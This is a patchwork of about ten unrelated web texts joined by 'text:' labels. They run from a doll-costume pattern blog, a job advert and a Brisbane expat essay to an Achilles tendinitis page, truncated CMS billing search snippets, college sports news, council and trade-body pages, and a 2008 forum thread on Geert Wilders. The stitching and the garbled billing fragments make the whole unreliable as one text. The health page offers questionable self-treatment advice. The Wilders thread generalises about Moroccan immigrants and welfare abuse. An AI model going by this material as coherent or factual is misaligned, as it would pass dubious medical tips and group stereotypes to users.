The collection "officially" comprises: Medieval England, Renaissance Italy, Ming Dynasty China, Ancient Egypt, Medieval Persia, and a modern sort-of Princess…the Jingle Dancer Powwow princess pictured above! But lots of the patterns could be used for other things too. With a bit of imagination, the Egyptian one could turn into a Balinese dancer, the Chinese one could turn into a Korean Jeogori and you could probably even shorten the medieval English dress and turn it into a modern Irish dance dress or even something from the 1940s.
Carpatina Julia in a "tomboy" version of this princess "dress" using just the bodice with leggings.
A girl for all time Clementine as "Lady of the Lake" – Medieval Celtic Princess
Carpatina Julia in an Italian Renaissance gown
My AG "Violet" as an Egyptian princess
Magic Attic Rose as a medieval Persian Princess
Pattern also includes a Powwow Princess jingle dress and Ming dynasty Princess. See more here
Also, by request, more patterns are available for Saila (or other 18″ dolls) like my version of this calico parka called a kuspuk (pictured below) .
With all these new patterns, I've reactivated the coupon code 20off20. Paste that in at checkout on etsy and it will take 20% off your purchase of $20 or more. It expires at midnight on April 15th.
A big thank you to everyone who took the time to vote in the last poll. The winner (by one vote) was a Plains costume:
(click to enlarge the small photo)
But Pacific Northwest was SOOO close and I am SOOO nice 🙂 that I did a version of one of those too. These outfits are all my interpretations of traditional costumes, but I tried to be as faithful as possible to the originals while making them do-able at doll size.
I also added some accessories – yes, I read and value your comments!


text:
Job Description
Are you an SAE looking to step up? This is a fantastic opportunity to join a leading Advertising agency.
This International Advertising Agency are world famous for their creativity and award-winning campaigns. It is also a fantastic place to work! At the heart of their work is creating connections using creativity, technology and innovation. As a large network they work with some of the best clients across most sectors from FMCG to sustainability.
As an Senior Account Executive you will be joining one of the best teams in this award-winning advertising agency. You will be working on branding through to the roll out of TV campaigns giving you exposure of working on the full 360 campaigns, including production through to delivery.
You will be sat within a team with a focus on clients in the green energy/sustainability and innovation world. This is a really exciting opportunity to work on new brands and companies everything from naming/branding through to the creation and delivery of various assets.
Please get in touch TODAY if you meet the following criteria;
* Experience as a Senior Account Executive/Account Manager
* Experience working for a leading ATL agency
* Experience/passion for working in the sustainability/ innovation space


text:
The Sun Always Shines in the Sunshine State
We arrived in Brisbane, my husband and I, on a cold rainy wintery day and that shattered my first preconceived image of Sunny Brissie, especially when the rain and cold continued for three entire weeks until mid-August. Therefore contrary to what you may believe, you do need woollen jumpers and duvets in this sub-tropical climate.
Melting Pot
I also expected to find a melting pot of races and cultures and very much anticipated to get to know Aboriginal people.... I can feel you're smiling – you know better probably. Still, I found it quite confronting to realise that the indigenous population that once was plentiful in this area has been almost completely wiped out. You will only meet only rarely an Aborigine. We have a Bunya tree in our garden and whole tribes used to gather to feast on these nutritious nuts. Not one person seems to be interested in them now.
In my first year in Brisbane I have tried to pay tribute to the Aboriginal culture and efforts to claim back their voice. In the arts I have enjoyed Gurrumul Yunupingu's music, the violent paintings and video art of the angry young generation, the great movie "Samson and Delilah" on glue sniffing and the desolate fate of isolated communities and a range of books (e.g. "Songman. The story of an aboriginal elder" by Bob Randall, one of the Lost Generations).
British Mentality
In this melting pot, I found the British mentality and the American consumer values the two most striking cultural features in everyday Aussie life. People can be very British in being islanders, conservative and rude at the same time; misogynistic and pompous language, high etiquette and brutal road behaviour go hand in hand. They will not easily welcome you into their homes (too much trouble and/or not confident about their cooking). They will gladly accept your invitation though and finish the evening with "Next time you have to come to our place for a real Aussie Barbie". I had a hard time accepting that very often no actual invitation followed.
They will rarely tell you what they really think or feel; they will never talk about sex, even the word is taboo and gets censored; the matter is rather referred to as "bedside issues". Laws and regulations seem complicated and very British in being written in literary long-winded mindboggling language. Be prepared to ask for help from a solicitor and pay for those extra costs.
The need for procedures has invaded almost every domain, from the height of your mandatory pool fence to the correct way to enrol with your local library. Expect to queue, to be confronted with an army of bureaucrats who seem to struggle with the regulations themselves and just when you think you have run out of patience for the rest of the ride, you will find the path, one step at a time. One example: if you stay for longer than three months you are supposed to obtain an Australian driving licence. "No, your international driving licence is not accepted." You will need to have your original driving licence translated into Australian English, meaning that category B is category C over here. "No, not any translator". It needs to be an accredited one, accredited by NAATI. You'll find them on the internet. And then you will also need to prove your address with a bill or bank statement, which can be difficult if you have only shortly moved into your permanent accommodation. Luckily the view of the ocean and the bright sunlight help to soothe frustration and anger. Don't take me wrong. They're not in general trying to give you a hard time, they are just following procedures. So get ready to live by them - there is no other way around.
American Consumer Values
American values are dominant in the consumer world: huge shopping malls, big people, foot long sandwiches, XXL-sized burgers, all you can eat restaurants, donuts, Coke, you name it, we have it here as well. Obesity is a growing problem, as well as diabetes, gluten allergies and cancer. Well, no wonder it has come this far, they even put sugar in mayonnaise and in bread!
Good things come at a price, that's true here as well. Stylish clothes, fresh seafood, fine wines and organic veggies will cost you money, but once you've figured out your sources, you're safe. Regretfully you'll have singled yourself out a bit as a foreigner – and that's when you swing back your pendulum after a while and join in with the mob for steak and chips or fish and chips (the meat full of hormones and the fish heavily battered and frozen, but who cares as we are all having a jolly good time!
The recent seven year drought and the bush fires have immensely heightened people's awareness for the need of water management. Other resources like petrol and electricity are still freely consumed: big cars, low taxes on petrol, lots of air-conditioning, lots of waste (glass, plastic bottle and bags), and minimal restrictions on the industry.
The growing economy and jobs are the highest value in society and many sacrifices are made to maintain these (sell out to China, hours of political double talk on TV, indoctrinating governmental messages, continuing pollution.
... And then there's internet
I was expecting a laid-back way of life and a back to the roots way of communication. I was wrong again. I should have known better – distances are huge in Australia and nothing has been built for easy access by foot passengers. The tiniest sports club makes flashy newsletters and distributes them through e-mail only; you can only get a bill if you download it from the website, you pay your tolls for the bridge and some stretches of the highway through the internet, and the leaflet with your medicine is not in the package but will be on double u double u double u dot etcetera. Here comes my final piece of advice: make sure you have a portable pc and a good internet connection.
My preferred websites
www.ourbrisbane.com.au - Find out more about neighbourhoods, events, restaurants and much more
www.immi.gov.au - Immigration, visa, citizenship
www.medicareaustralia.gov.au - Find out if and when you have access to rebates for doctor's visits and health care facilities
www.meetup.com - Find a book club, sports club or any leisure activity. A great way to meet new people and a soul mate.
www.transport.qld.gov.au - Driving licence, learning licence
www.brisbane.qld.gov.au - Brisbane's City Council rules it all (from garbage collection to flood water reports)
www.seek.com.au - Most popular but not always most successful job site
www.my247.com.au/brisbane - Handy website for cinema session times, night life, restaurants and theatre.


text:
Achilles tendinitis is inflammation of the Achilles tendon, the fibrous tissue that connects the heel to the calf muscles. This condition is often caused by irritation of the tendon and typically affects those who play sports. However, older individuals who suffer from arthritis may also be affected. Achilles tendinitis is typically the first stage of an Achilles tendon injury and should be treated right away. Without treatment, the tendon can tear or rupture, which may require surgery.
Tendinitis most often occurs when a tendon is over used. As the foot extends the Achilles tendon engages the calf muscles. The calf muscle generates force, which is transferred to the foot via this tendon. As this action repeats the tendon will endure large amounts of stress. An under-trained or inexperienced athlete is most likely to be affected by tendinitis since their body is not accustomed to the stress involved with athletics. Improper foot mechanics is another common cause of Achilles tendinitis. A properly functioning foot will distribute weight evenly across the foot. On the contrary, if the foot is experiencing improper mechanics, the weight of the body will not be evenly distributed. This can result in tendinitis, plantar fasciitis, calluses, bunions, neuromas and much more.
Common symptoms of Achilles tendinitis include, pain and stiffness along the Achilles tendon in the morning, pain along the tendon or back of the heel that worsens with activity, Severe pain the day after exercising, thickening of the tendon, bone spur (insertional tendinitis) swelling that is present all the time and gets worse throughout the day with activity, If you have experienced a sudden "pop" in the back of your calf or heel, you may have ruptured (torn) your Achilles tendon. See your doctor immediately if you think you may have torn your tendon.
Examination of the achilles tendon is inspection for muscle atrophy, swelling, asymmetry, joint effusions and erythema. Atrophy is an important clue to the duration of the tendinopathy and it is often present with chronic conditions. Swelling, asymmetry and erythema in pathologic tendons are often observed in the examination. Joint effusions are uncommon with tendinopathy and suggest the possibility of intra-articular pathology. Range of motion testing, strength and flexibility are often limited on the side of the tendinopathy. Palpation tends to elicit well-localized tenderness that is similar in quality and location to the pain experienced during activity. Physical examinations of the Achilles tendon often reveals palpable nodules and thickening. Anatomic deformities, such as forefoot and heel varus and excessive pes planus or foot pronation, should receive special attention. These anatomic deformities are often associated with this problem. In case extra research is wanted, an echography is the first choice of examination when there is a suspicion of tendinosis. Imaging studies are not necessary to diagnose achilles tendonitis, but may be useful with differential diagnosis. Ultrasound is the imaging modality of first choice as it provides a clear indication of tendon width, changes of water content within the tendon and collagen integrity, as well as bursal swelling. MRI may be indicated if diagnosis is unclear or symptoms are atypical. MRI may show increased signal within the Achilles.
Nonsurgical Treatment
Make sure that the tendon is not torn through and through. If it is severed, you must see a doctor immediately so that the tendon can be repaired. Severe injuries can sever a tendon, without a skin laceration being present. Testing involves moving the toes and foot to see if the tendon moves. If the tendon does not appear to move, it may be severed (comparing the injured tendon and its movement to the same tendon on the uninjured foot may help). Very sharp pain, a sudden pop, or an obvious gap in the structure of the tendon are all signs of a rupture, and should be seen by a doctor as soon as possible. If there is extreme swelling of the leg, and pain (out of proportion to the amount of trauma received), you may have sustained a vascular injury. A doctor must see this type of injury immediately. If you are not sure, see a doctor. If you have multiple injured areas see a doctor immediately, in order to prevent excessive swelling and pain. If the above exam is negative, then you may proceed with self-treatment. (However, if you are not sure of the extent of your injury, you should consult your doctor immediately). The sooner you begin to treat your injury by following "R.I.C.E.", the better you will feel. Rest is very important. Take off your shoe, get off your feet, and relax. Ice should be applied as soon as possible. Never apply ice directly on the injured area, as the cold may make the pain worse. Ice should be applied close to the injured site, between the heart and the injury, so that as the blood flows under the ice, it will be cooled. This cool blood flowing into the injured area will help to reduce the swelling and pain. Apply the ice, wrapped in a cloth or over an elastic bandage, to the foot for 15 minutes, every 1-2 hours, for up to 3 days after an injury. If the ice is uncomfortable, or causes increased pain, do not continue to use it, and see a doctor. If you have poor circulation do not use ice, as this may cause a serious problem. c. Compression is used to limit swelling, and to give support to the injured area. Compression should be applied to the entire foot, starting first at the toes and working back to the ankle. If it is applied just to the injured area, increased swelling will occur in front and behind the wrapping. Compression should be applied with a 3-inch elastic bandage, beginning around the base of all the toes, and then going around the foot and ankle. Continue over the calf muscle when possible. Compression reduces motion in the injured area and foot, and this decreases the pain, and allows for quicker healing. The bandage should not be so tight that it causes increased pain or throbbing in the toes or foot. It should be comfortable! Do not remove the elastic bandage for the first 12 hours, unless it becomes too tight, or the pain increases, or the toes become pale, blue, or cool. If any of these things happen, immediately remove all bandages, and leave them off for several hours. The normal color and temperature of the toes should return immediately. If not, see a doctor immediately! Continue until the swelling and pain subsides; it could take from several days to several weeks. d. Elevation of the leg will aid in reducing swelling and pain. Blood rushes to an injured area to bring increased blood cells, that aid in healing. Gravity will also force blood to the injured area. Too many cells and too much fluid will apply pressure to the injured nerves and tissues, and cause increased pain and delayed healing. Keep your foot elevated so that it is at least parallel to the ground, or higher if it is comfortable. Do this for at least 48 hours, or until the throbbing subsides, when you lower the leg.
Surgical Treatment
Achilles tendon repair surgery is often used to repair a ruptured or torn Achilles tendon, the strong fibrous cord that connects the two large muscles in the back of your calf to your heel bone. These muscles (the gastrocnemius and the soleus) create the power needed to push off with your foot or rise up on your toes. Achilles tendon ruptures are quite common. Most happen during recreational activities that require sudden bursts of muscle power in the legs. Often a torn Achilles tendon can be diagnosed with a physical examination. If swelling is present, the orthopaedist may delay the Achilles tendon surgery until it subsides.
To lower your risk of Achilles tendonitis, stretch your calf muscles. Stretching at the beginning of each day will improve your agility and make you less prone to injury. You should also try to stretch both before and after workouts. To stretch your Achilles, stand with a straight leg, and lean forward as you keep your heel on the ground. If this is painful, be sure to check with a doctor. It is always a good idea to talk to your doctor before starting a new exercise routine. Whenever you begin a new fitness regimen, it is a good idea to set incremental goals. Gradually intensifying your physical activity is less likely to cause injury. Limiting sudden movements that jolt the heels and calves also helps to reduce the risk of Achilles tendonitis. Try combining both high- and low-impact exercises in your workouts to reduce stress on the tendon. For example, playing basketball can be combined with swimming. It doesn?t matter if you?re walking, running, or just hanging out. To decrease pressure on your calves and Achilles tendon, it?s important to always wear the right shoes. That means choosing shoes with proper cushioning and arch support. If you?ve worn a pair of shoes for a long time, consider replacing them or using arch supports. Some women feel pain in the Achilles tendon when switching from high heels to flats. Daily wearing of high heels can both tighten and shorten the Achilles tendon. Wearing flats causes additional bending in the foot. This can be painful for the high-heel wearer who is not accustomed to the resulting flexion. One effective strategy is to reduce the heel size of shoes gradually. This allows the tendon to slowly stretch and increase its range of motion.


text:
cms units billed dme
PDF download:
Medicare Claims Processing Manual – CMS.gov
Jun 30, 1993 … 130 – Billing for Durable Medical Equipment (DME) and … 150 – Institutional
Provider Reporting of Service Units for DME and Supplies …
Medicare Claims Processing Manual – CMS.gov
the minimum dosage for the drug, the provider reports one unit of the … 7 – May
not bill DME-MAC or MAC for drugs furnished incident-to a physicians' service.
Medicare Claims Processing Manual – CMS.gov
10.1.4 – The HH PPS Episode – Unit of Payment … 40 – Completion of Form CMS-
1450 for Home Health Agency Billing … regarding competitively bid DME.
Medicare Claims Processing Manual – CMS.gov
Jul 20, 2013 … 60 – Durable Medical Equipment Prosthetics, Orthotics and Supplies …. grace
period for providers to use in billing discontinued diagnosis codes on …. If
applicable, suggested Relative Value Unit (RVU) of the new local code,.
Medicare Claims Processing Manual – CMS.gov
20.2 – Reporting of Service Units With HCPCS. 20.3 – Determining What Time …
100.8 – Billing for DME, Prosthetic and Orthotic Devices, and Surgical. Dressings.
Medicare Program Integrity Manual – CMS.gov
For certain items or services billed to a DME MAC, the supplier must receive a
signed … written order prior to delivery (seat lift mechanisms and TENS units) …
Under the ASC payment system, Medicare makes facility payments to ASCs …..
obtaining a supplier number and billing the DME MAC where applicable. …..
either as a single unit on two separate lines or with "2" in the units field on one
Medicare Claims Processing Manual – CMS.gov
126.96.36.199 – Mobile Mammography Units … 90.2.1 – Services Billed to the DME MAC
…. provisions contained in this special chapter for IHS providers billing the …
Page 1 of 4 DEPARTMENT OF HEALTH AND HUMAN … – CMS.gov
Durable Medical Equipment suppliers who submit claims for inhalation drugs …
Claims billed for units that exceed the allowable amounts will be considered.
Durable Medical Equipment (dme_chdp-dme)
Jan 1, 2016 … Durable Medical Equipment (DME) Billing Codes: Frequency Limits (dura cd fre)
… Medi-Cal must follow Medicare frequency limits …. Medically necessary service
or supply (used for second unit of oxygen content). LT.
CMS-1500 Billing Guide for PROMISe™ Medical Suppliers
Jan 30, 2017 … Durable Medical Equipment (DME) / Medical Suppliers – Provider. Type 25 …
You must follow these instructions to complete the CMS-1500 claim when billing
the ….. charge by the number of units billed and enter that amount.
mississippi division of medicaid provider billing handbook
Medicare Part C Only -Mississippi Medicaid Part B Crossover Claim … Provider
and Beneficiary Services Unit toll-free at 1-800-884-3222, or you may download
the …… Durable Medical Equipment and Some Supplies (Diapers/Underpads).
GAO-13-430, Medicare Program Integrity – Government …
May 9, 2013 … units in excess of the MUEs to be billed when providers believe the … DME
claims file.9 We obtained the unpublished MUE limits for calendar.
Medical Fee Schedule – State of Tennessee
the basis for the Medical Fee Schedule (Medicare for most of the Medical …..
Units ("RVUs") may be obtained from the current edition of the Medicare …..
Durable medical equipment ("DME") and implants for which billed charges are
Professional Services Billing Manual – South Dakota Department of …
Professional Services. Billing Manual … Telephone Service Unit for Claim
Inquiries. In State … 1-800-597-1603. Medicare. 1-800-633-4227. Division of
Medical Services. Department of ….. CHAPTER VI: DURABLE MEDICAL
10050 Medicare & You 2017 – Medicare.gov
Oct 1, 2016 … And now, the Quality Payment Program, the result of a bipartisan bill passed last
… Medicare pays for many preventive services that can help prevent illness or ….
Durable medical equipment (like walkers) 15, 32,. 36, 45–46 …… you must either
pay the hospital costs for the first 3 units of blood you get in a …
Billing Part B Medications – eohhs
Billing co-insurance for Part B Medications, including DME products. CMS states
that Part B medications are considered DME and therefore must be billed on a
CMS 1500 either electronically or on paper. … solution unit dose 1gm use code
for …
Durable Medical Equipment – SCDHHS.gov
Jan 1, 2013 … Durable Medical Equipment Provider Manual …. SECTION 3 BILLING
PROCEDURES …. 25-29 Adding ICD-10-CM diagnosis codes to reflect …. Unit o
Updated acronym for U.S. Department of. Health and Human Services, …


text:
With the season concluding before the end of January, the UMass Dartmouth women's swimming and diving team has had ample time to prepare for the Little East Conference Championships, which it will host on Saturday at noon.
While numbers can provide an advantage in certain meets, that's not necessarily the case at the LEC Championship. That works well in the Corsairs favor, given they only have nine swimmers, though each can make considerable contributions in the pool.
"I feel pretty good," UMass Dartmouth swimming coach Cathy Motta said. "Our team is rather small, but we're very talented. Sometimes, when it comes to championships, it's not strength in numbers but instead strength in talent and ability. I think the smaller size has actually helped as far as them being closer and more competitive, to the point where the competitiveness has been a good thing instead of a bad thing."
Among the contributors are Sarah Murphy, Maddie Kovach and Molly Harrington. Murphy and Harrington are both juniors who've thrived in their individual events, the breaststroke and medley for Murphy and the freestyle and backstroke for Harrington.
Kovac, however, is a freshman. In fact, she's the only freshman on the roster. Not to mention, she also happens to be one of the best freshmen swimmers in the LEC, receiving her fourth Freshman of the Week nod heading into the LEC championship.
"Maddie works really hard," Motta said. "She's talented and I think adding her to our roster has elevated the competition amongst the team."
In addition to carrying just one freshman, the Corsairs are without a single senior with the roster primarily comprising juniors and seniors. Gathering and developing that young talent continues to put this team in position to not only win now, but also help them develop the program of the next several years, as well.
"I think that's what we've been trying to do the last two to three years, develop a strong core of young athletes and as they progress up through the program they just pull the newbies in to the philosophy and mindset of, 'we want to work when we're here but we want to have fun when we do it,'" Motta said. "And almost a selflessness that on any given day you can be asked to do something you didn't typically do or didn't really do in high school and that's because that's what we need you to do for the team."
Men's basketball back on track
After suffering an 82-57 loss to Keene State, UMass Dartmouth men's basketball is back to its winning ways, knocking off Eastern Connecticut 69-68 and Western Connecticut 96-76.
Marcus Azor has stepped up during the stretch, scoring 10 against Eastern Connecticut followed by a team-high 23 points against Western Connecticut, to go with six and seven rebounds in those contests, respectively. Atakan Ackam remains consistent for UMass Dartmouth, scoring 16 points in both games.
Following Wednesday's matchup with Rhode Island College, the Corsairs (15-6, 9-3 LEC) head to Plymouth State on Saturday at 3 p.m.
Women's Basketball in control of LEC
UMass Dartmouth women's basketball's 110-83 win over Western Connecticut marked the Corsairs' eighth win in a row. The Corsairs are now ranked sixth in the Northeast by d3hoops.com.
In the win, Nakira Examond (New Bedford) finished with 27 points and eight rebounds, while Ashley Brown (Fairhaven) nearly had a double-double, scoring 13 points to go with nine assists and six rebounds. Jess Korzec also had a big scoring night off the bench, finishing with 22, while Shaelyn Carreiro added 14 coming off the bench, as well. Jordan Moretti led the Corsairs with 10 assists in her eight-point performance.
UMass Dartmouth (18-3, 11-1 LEC) heads to Plymouth State on Saturday at 1 p.m. following Wednesday's matchup with Rhode Island College.
Hockey on a run
UMass Dartmouth men's hockey has gone from a sparky underdog and an all-around comeback story, to being ranked second in the MASCAC. The Corsairs now only trail Plymouth State (12-6-3, 9-3-2 MASCAC), who they can surpass with a win on the road against the Panthers on Thursday.
UMass Dartmouth (12-8-1, 9-4-1 MASCAC) gained momentum off its three-game winning streak that started mid-January and turned it into a five-game tear. Mason Nichols and Parker Butler lifted the Corsairs to their fourth win on the streak in a 1-0 finish against Fitchburg state on January 30. Nichols scored the game's only goal 31 seconds into the third period, which would be enough in Butler's 28-save shutout.
The Corsairs extended the streak to five games thanks to an 8-1 walloping of Salem State. Both Steven Leonard and Jonathan Ruiz finished with two goals in the win. Leonard also tacked on two assists for a four-point night.
Track and Field cruises at Wesleyan Invitational
UMass Dartmouth men's and women's track and field combined for 34 top-10 finishes at the Wesleyan Invitational, finishing with an even split, 17 apiece.
Alex MacMillan won the 60 (7.20 seconds) and Joao Baptista won the high jump with a 6-foot-2 3/4 leap on the men's side.
UMass Dartmouth's top-finisher on the women's side was Ella Rath, who finished second in the 800 (2:42.64).
Bruno Pires (New Bedford) finished second in the 600 with a 1:25.44 time. His time also ranks third in the event for UMass Dartmouth all time.
Kaiden Swainamer (Lakeville) finished third in the shot put with 48-foot-4½ throw. His throw is the fourth longest in the UMass Dartmouth men's track and field history.
Emilea Lauzon (Lakeville) came in fourth in the 200 meters (27.54 seconds) and sixth in the 400 meters (1:04.81) on the women's side of the event.


text:
You need to provide only a few basic contact details and a brief profile to become an EEMUA Registered User.
In return you'll receive personalised content, access to webinar recordings and your own 'My EEMUA' page that brings together information about news, publications, events and courses of interest to you.
New users from EEMUA member companies, please apply for registration on the EEMUA Portal in the same way. To find out about joining EEMUA click here.
NOTE: By logging in and using the EEMUA Portal you agree to abide by the EEMUA Terms & Conditions of Use. Please also view EEMUA's Privacy Policy.
The impact of new technology is nowhere more likely to be felt than in the areas of instrumentation, alarms and control.
For many years EEMUA 201 has provided the guidance for the control room in parallel with EEMUA 191 as the authoritative guidance on alarm systems. Whilst the basic principles outlined remain valid, the world is changing. Control systems are getting smarter, the control room environment is changing, equipment has more sensors to interpret and correlate correctly, and the human element is being replaced or has to work safely alongside the new technology. It's a big learning process that you can't avoid being a part of.
EEMUA's Annual Alarm Systems and Control Seminar on 11 July, in London, will look at how all this is to be accomplished without repeating past mistakes.
Current issues
EEMUA member companies
Covid-19 Statement
EEMUA blog
© 2020 Engineering Equipment and Materials Users Association


text:
The City of Kalamunda recognises places it considers have cultural heritage significance for the local community by including such places on its Municipal Inventory of Heritage Places.
A Municipal Inventory is a list of places that, in the opinion of the Local Government, are or may become of cultural heritage significance. The current Municipal Inventory includes individual place records that briefly locate and describe each place, outline its significance and provide a recommendation for the management of its cultural heritage values. The Municipal Inventory also includes a Thematic Framework that outlines the history of the City and is used to assess the cultural significance of places.
The Heritage of Western Australia Act 1990 (the Act) requires all local government authorities in Western Australia to compile, and periodically review and update, a Municipal Inventory. In addition to meeting the requirements of the Act, the Municipal Inventory can assist the City of Kalamunda to:
In 2019 the Municipal Heritage Inventory was updated to include the Heritage Area for the Avenue of Lemon Scented Gums on Welshpool Road East, Wattle Grove.
The Avenue of Lemon Scented Gums consists of two lines of Lemon Scented Gums (Corymbia citriodora) lining the southern (westbound) carriageway of Welshpool Road East for a distance of approximately 450m, with one line of approximately 18 trees along the median strip and another line of trees of 17 trees along the southern road reserve.
Significant community opposition was expressed to the City of Kalamunda over the proposed removal of the trees associated with the construction of slip lane for a Place of Worship at Lot 36 (831) Welshpool Road East, Wattle Grove. Alternate methods of accessing the site were considered in April 2018, which resulted in Council approving an amendment to the development approval and a requirement for the removal of one (1) tree.
In response to the significant positive public interest in regards to the protection of the trees within the heritage area, the City of Kalamunda prepared Local Planning Policy 22 for the Avenue of Lemon Scented Gum Trees so any future development which may impact on the trees must consider the local heritage value.
Council at its Ordinary Council Meeting held on 28th May 2019 resolved to ADOPT the Local Planning Policy (LPP 22) for the Avenue of Lemon Scented Gum Trees (Corymbia citriodora) on Welshpool Road East. (RESOLUTION OCM 109/2019). See below to view the Council Minutes and attachments.


text: (XB1)Cephalon Lore 36 Posted October 1, 2018 (edited) The only thing I will say is that weapon slots are not an issue. My issue currently is riven mod capacity. Instead of offering 4 weapon slots give 1 riven mod slots instead. Edited October 1, 2018 by (XB1)Cephalon Lore My math was wrong on cost comparison 1 Share this post Link to post Share on other sites


text:
. Please
July 15, 2020, 04:42:20 AM
Recent News
Recent Poll
Free Minds
World News
Discuss Latest World News
) »
The mistakes on Geert Wilders by the foreign media-My reflections
« previous
next »
Pages: [
Go Down
Topic: The mistakes on Geert Wilders by the foreign media-My reflections (Read 1557 times)
Arnold Yasin
Wise One / Burnout
Posts: 2726
Karma +16/-7
The mistakes on Geert Wilders by the foreign media-My reflections
February 17, 2008, 05:47:21 AM »
The mistakes on Geert Wilders by the foreign media-My reflections
By Arnold Mol
I have been reading some foreign news articles about Geert Wilders and it astonishes me every time how little people know about the real situation in Holland.
Let me quote the first sentence from an article who starts with:
"Geert Wilders, the popular MP".
Popular with whom? Wilders is far from popular in Holland. Many people see him as a childish hatemongering man who has no real contribution to Holland. He got so many votes in the last election as Rita Verdonk, minister of Integration, wasn't party leader of the Liberal right VVD party.
This caused many voters to end up at Wilders, but many of them later regretting the vote. There are many factors involved that caused his so-called popularity, and this is mainly because of the internal struggle within the VVD party.
Last November finally a break emerged within the VVD and Rita Verdonk created her own party "Trots op Holland", meaning "Proud of Holland". A census was held which already showed that Wilders will lose as many as half of his voters to Rita Verdonk who is right winged concerning immigration, but has never said anything about Islam. She is only concerned with people abusing the liberty given to migrate to Holland by mainly Moroccan and Turkish families. She raised the bars of integration higher then was ever before and made sure Moroccan and Turkish families could not easily import new husbands and wives to Holland for their children.
One of the biggest problems in Holland had emerged around men and women imported straight from the mountain villages to marry a Dutch-born Moroccan or Turkish male or female. They didn't invest in learning Dutch, nor were educated in Dutch values. This caused also many differences and problems with the straight-from-the-village husbands and their Dutch-born liberal highly educated wives. A clash which is of course completely understandable.
This is what Rita Verdonk focuses on. If you want to "import" a wife or husband. The person must first learn the Dutch language, values and history in their home country and the person must prove it can find a job immediately and not just jump straight into welfare.
Although many Muslims acted as if this was an attack on Islam, as it took away the power to pre-arrange marriages, this was a great blessing for many Dutch-born liberal Muslim women who belong to the largest group of highly educated women of all minorities in Holland. Now they would not be "matched up" that easily with a never-educated nephew straight from the mountain villages.
This is what most Dutch people really care about. That people do not abuse the freedom to immigrate to Holland and abuse the welfare system. As sadly, the Moroccans are the largest percentage of all minorities who make use of the welfare system, and are also the largest group who are frequently caught abusing it.
Geert Wilders only really started making his anti-Islamic rantics after he was elected. Before the election he had never said such radical things as destroy and ban the Koran and throw out the Muslim population, so many of the people who voted for him were shocked as for them it was more about cleaning away the abusing of the welfare and get the minorities better integrated.
Now suddenly it turned out they had voted on a mini-me version of Hitler. This is why Wilders will lose power and votes in the new election. His rantics are harming the economy. Many highly educated young Muslims born in Holland are immigrating to Morocco or Turkey as they feel Holland is losing its values. Holland has turned in the world media from the most liberal country in the world to an Islam-hating country.
Yes, there are many misunderstandings about Islam within Holland, as it is in almost every Western country. But this makes many people not hate Islam, but the wrongs things that are committed in its name. Be it terrorism, abuse of wives, lack of education, superstition and lack of progress concerning democracy or freedom of people. But this is also hated by many Muslims who reflect on the old Muslim states who were the pinnacles of freedom and knowledge in the Middle Ages and the social message found in the Koran and early Islamic history. So this is a battle that must be fought together with Muslims, as the demand for reform within Islam is growing in large numbers day by day.
When it comes Wilders, people must first know he doesn't know anything about the Koran. He maybe has read a few books by Islam-haters here and there. But when it really comes too mentioning verses, he will fail immediately as he has done many times in the Dutch media when asked about which verses should be banned. During these debates on Dutch TV, it is never Wilders himself sitting there. No, it is mostly a reformist-protestant Dutch Arabist professor who really selective in what to quote from the Koran, Wilders is not the mind behind this campaign but a few people with a certain anti-Islam agenda who whisper in his ear. It is better to see him as the Dutch parliament version of Bush, quick to repeat the whispers and shout them out in the most radical form, but having no real knowledge on the matter of his own. The only thing Wilders will have contributed to his movie will be the propaganda and his name below the title, do not expect more to come from the brain beneath the blond bleached waves.
The Wilders fire will die out soon and he knows this, so he is using every scrap of time he has to do as much damage as possible.
Posts: 396
Karma +0/-0
Re: The mistakes on Geert Wilders by the foreign media-My reflections
Reply #1 on:
February 17, 2008, 08:09:04 AM »
Wilders on FOX:
Arnold Yasin
Wise One / Burnout
Posts: 2726
Karma +16/-7
Re: The mistakes on Geert Wilders by the foreign media-My reflections
Reply #2 on:
February 17, 2008, 10:12:47 AM »
In the Netherlands we have a different groups of immigrants then for example in America. Most of them were selected in Morocco and Turkey and then shipped over to Holland to work in the factories in the 1960's. Many of these laborers came from the poor regions of the countries, had little education and were mostly from the Berber or Kurdish regions.
They always had the idea they would only stay in Holland for a couple of years and then go back with the money to build a house or a farm, but as the economy in Morocco was growing worse and the racism towards non-Arabs, they stayed. This went on and on, and before they knew it, they were stuck here in Holland. As the Dutch government also thought the laborers would go back, they never invested in any integration projects or teach them the language.
Between the 80 and 90's many of the wives and families of the laborers were shipped over to Holland. Hundreds of thousands of people who grew up in mountain villages with strong traditions and little education suddenly ended up in one of the most liberal countries in the world.
In Europe we always focus on how hard it is for us to deal with the 'foreigners', but for them it must have been a much harder culture shock.
In the mountains a social structure had emerged over the thousands of years with strict hierarchies and ways of family structure to survive in these hard and unforgiving surroundings. This is where pre-arranged marriages come from. To create certainty of survival, it is important you can predict as many factors as possible in your surroundings, you must control as many as you can.
This is why in tribes people are married only to other tribal people as your nephew is predictable, he knows his place within the social structure, he has a emotional bloodline connection and he is used to listening to you. In the mountains you cannot ask for a better husband for your daughter.
We in the West are easy in codemning pre-arranged marriages, but for them it is survival, not egoism.
But suddenly, people with this strict social structure in their mind ended up in the liberal individualistic societies of the West. It is logical the first generations cannot adapt that fast. Mostly it will not go beyond the wives being allowed to go to the market, a thing which is a male duty in the mountains as it is to dangerous for women to just go alone.
The second generations were more liberal, but in a sense were living in 2 worlds. In holland when they went outside to school or play. But experienced the strict social structure when at home or family.
Many of these ended up in an identity crisis, when this happens, it is easier for the psyche to choose the more stricter outlined way of thinking. And so the strict social structure was upheld.
This is also by the way why many young Muslims are attracted to the strict harldiner Wahabi Islam as it sets out hard strict clear lines of what is Islam. For young Muslims this is very attractive as it creates a stabil support in a confusing world.
The third generation is mostly for 60-80% liberal Dutch then really Moroccan. But they are still under the supervision of the 2nd generation strict social structure which doesn't approve of this liberal thinking. And so the family mostly chooses to inter-marriage the 3rd generation with nephews and cousins to keep them in control.
But also because of losing social connections with the family in Morocco, Holland and other parts of Europe where family members have immigrated to, an urge to re-unite them through marriage is also sought.
The 3rd generation is also in a larger identity crisis then the 2nd, as in Morocco they are not accepted as Moroccons but seen as Dutch, and in Holland they are seen as Moroccons.
What are they then? This creates a lot of frustration among many youths, and this is also why some choose the Wahabi Islam instead of the Berber Maliki Islam of their parents.
It is a way to rebel against the family, the West and to have a feeling that atleast God is accepting you.
Mohammed B. who killed the director Theo van Gogh a couple of years ago was such a youth. Highly educated, very social, but then couldn't find a job. Was dissatisfied with the passiveness of the family's way of thinking. His identity surpressed by the Moroccan and Dutch society and his Muslim identity surpressed by seeing misery in the Muslim world and oppression in Iraq and Palestine.
